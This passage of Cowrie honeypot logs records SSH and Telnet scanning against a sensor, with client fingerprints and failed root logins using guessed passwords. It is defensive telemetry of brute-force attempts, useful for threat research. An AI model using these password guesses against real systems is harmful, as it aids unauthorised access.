16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:24.830007Z","src_ip":"109.172.54.111","session":"f6572997d9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwe","message":"login attempt [root/123321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:25.346434Z","src_ip":"109.172.54.111","session":"f6572997d9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:26.453562Z","src_ip":"109.172.54.111","session":"f6572997d9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"8921896dba7c","protocol":"telnet","message":"New connection: 152.42.224.71:37642 (10.17.0.5:23) [session: 8921896dba7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:29.419816Z"}
{"eventid":"cowrie.session.closed","duration":42.5840699672699,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:31.966991Z","src_ip":"152.42.224.71","session":"c26c937a4047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37650,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa3a7dea9b8","protocol":"telnet","message":"New connection: 152.42.224.71:37650 (10.17.0.5:23) [session: 2fa3a7dea9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:33.646180Z"}
{"eventid":"cowrie.session.closed","duration":51.72148680686951,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:37.946147Z","src_ip":"152.42.224.71","session":"e61e02adcbc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.31324648857117,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:38.044418Z","src_ip":"152.42.224.71","session":"1946e6e8ed3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.15629839897156,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:39.344463Z","src_ip":"152.42.224.71","session":"0bcdde1223aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45558,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a63c568f615","protocol":"telnet","message":"New connection: 152.42.224.71:45558 (10.17.0.5:23) [session: 9a63c568f615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:39.374702Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":60784,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0129bae765","protocol":"ssh","message":"New connection: 52.236.56.129:60784 (10.17.0.5:22) [session: 2e0129bae765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:42.457058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:42.462244Z","src_ip":"52.236.56.129","session":"2e0129bae765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:42.529424Z","src_ip":"52.236.56.129","session":"2e0129bae765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksandra","message":"login attempt [root/aleksandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:42.832154Z","src_ip":"52.236.56.129","session":"2e0129bae765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:43.902606Z","src_ip":"52.236.56.129","session":"2e0129bae765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.62981462478638,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:52.523986Z","src_ip":"152.42.224.71","session":"b794eeb25004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d649196774","protocol":"telnet","message":"New connection: 152.42.224.71:53256 (10.17.0.5:23) [session: e5d649196774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:56.432343Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53270,"dst_ip":"10.17.0.5","dst_port":23,"session":"16389d319a3c","protocol":"telnet","message":"New connection: 152.42.224.71:53270 (10.17.0.5:23) [session: 16389d319a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:06.770963Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57590,"dst_ip":"10.17.0.5","dst_port":23,"session":"c566c00828dc","protocol":"telnet","message":"New connection: 152.42.224.71:57590 (10.17.0.5:23) [session: c566c00828dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:10.971684Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57598,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b74e0166900","protocol":"telnet","message":"New connection: 152.42.224.71:57598 (10.17.0.5:23) [session: 3b74e0166900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:12.114438Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52250,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbe9340809a","protocol":"telnet","message":"New connection: 152.42.224.71:52250 (10.17.0.5:23) [session: 7dbe9340809a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:18.624013Z"}
{"eventid":"cowrie.session.closed","duration":51.30221486091614,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:20.721950Z","src_ip":"152.42.224.71","session":"8921896dba7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"da94719d26cd","protocol":"telnet","message":"New connection: 152.42.224.71:52258 (10.17.0.5:23) [session: da94719d26cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:22.506418Z"}
{"eventid":"cowrie.session.closed","duration":29.95046353340149,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:26.382728Z","src_ip":"152.42.224.71","session":"e5d649196774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.462710380554199,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:26.969010Z","src_ip":"152.42.224.71","session":"da94719d26cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.9000780582428,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:28.546157Z","src_ip":"152.42.224.71","session":"2fa3a7dea9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53802,"dst_ip":"159.203.135.109","dst_port":22,"session":"edcd25bd3e6d","protocol":"ssh","message":"New connection: 103.149.28.157:53802 (159.203.135.109:22) [session: edcd25bd3e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:30.070927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:30.076337Z","src_ip":"103.149.28.157","session":"edcd25bd3e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:30.331664Z","src_ip":"103.149.28.157","session":"edcd25bd3e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ludmila","message":"login attempt [root/ludmila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:31.088882Z","src_ip":"103.149.28.157","session":"edcd25bd3e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40332,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d584afe1bc","protocol":"telnet","message":"New connection: 152.42.224.71:40332 (10.17.0.5:23) [session: 82d584afe1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:31.193088Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:32.344679Z","src_ip":"103.149.28.157","session":"edcd25bd3e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59974,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0860b75a9e3","protocol":"ssh","message":"New connection: 103.176.20.57:59974 (159.203.135.109:22) [session: a0860b75a9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:39.126361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:39.130872Z","src_ip":"103.176.20.57","session":"a0860b75a9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:39.395319Z","src_ip":"103.176.20.57","session":"a0860b75a9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2001","message":"login attempt [root/sasha2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:40.186476Z","src_ip":"103.176.20.57","session":"a0860b75a9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2174c92f741","protocol":"telnet","message":"New connection: 152.42.224.71:50630 (10.17.0.5:23) [session: a2174c92f741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:41.270320Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:41.450816Z","src_ip":"103.176.20.57","session":"a0860b75a9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.16765642166138,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:43.542235Z","src_ip":"152.42.224.71","session":"9a63c568f615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00311541557312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:45.764989Z","src_ip":"152.42.224.71","session":"c4a32658d993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.412182092666626,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:49.182998Z","src_ip":"152.42.224.71","session":"16389d319a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.127.184","src_port":33062,"dst_ip":"10.17.0.5","dst_port":22,"session":"d783dfe2003b","protocol":"ssh","message":"New connection: 106.75.127.184:33062 (10.17.0.5:22) [session: d783dfe2003b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:56.251950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:56.257522Z","src_ip":"106.75.127.184","session":"d783dfe2003b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:57.201796Z","src_ip":"106.75.127.184","session":"d783dfe2003b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.91416883468628,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.107110Z","src_ip":"152.42.224.71","session":"82d584afe1bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"spaceshuttle","message":"login attempt [root/spaceshuttle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.212988Z","src_ip":"106.75.127.184","session":"d783dfe2003b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65095,"dst_ip":"10.17.0.5","dst_port":22,"session":"44cb1613398d","protocol":"ssh","message":"New connection: 152.42.212.128:65095 (10.17.0.5:22) [session: 44cb1613398d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.354798Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.359194Z","src_ip":"152.42.212.128","session":"44cb1613398d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.362830Z","src_ip":"152.42.212.128","session":"44cb1613398d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34942,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2a15f6fe23","protocol":"ssh","message":"New connection: 103.195.236.96:34942 (159.203.135.109:22) [session: 1c2a15f6fe23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.457032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.462201Z","src_ip":"103.195.236.96","session":"1c2a15f6fe23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:58.704545Z","src_ip":"103.195.236.96","session":"1c2a15f6fe23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password12","message":"login attempt [root/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:59.431943Z","src_ip":"103.195.236.96","session":"1c2a15f6fe23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:12:59.460332Z","src_ip":"106.75.127.184","session":"d783dfe2003b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:00.676847Z","src_ip":"103.195.236.96","session":"1c2a15f6fe23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.362720251083374,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:06.477071Z","src_ip":"152.42.224.71","session":"3b74e0166900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37542,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b90a317342","protocol":"ssh","message":"New connection: 80.94.92.184:37542 (10.17.0.5:22) [session: b4b90a317342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:09.310991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:13:09.424264Z","src_ip":"80.94.92.184","session":"b4b90a317342","protocol":"ssh"}
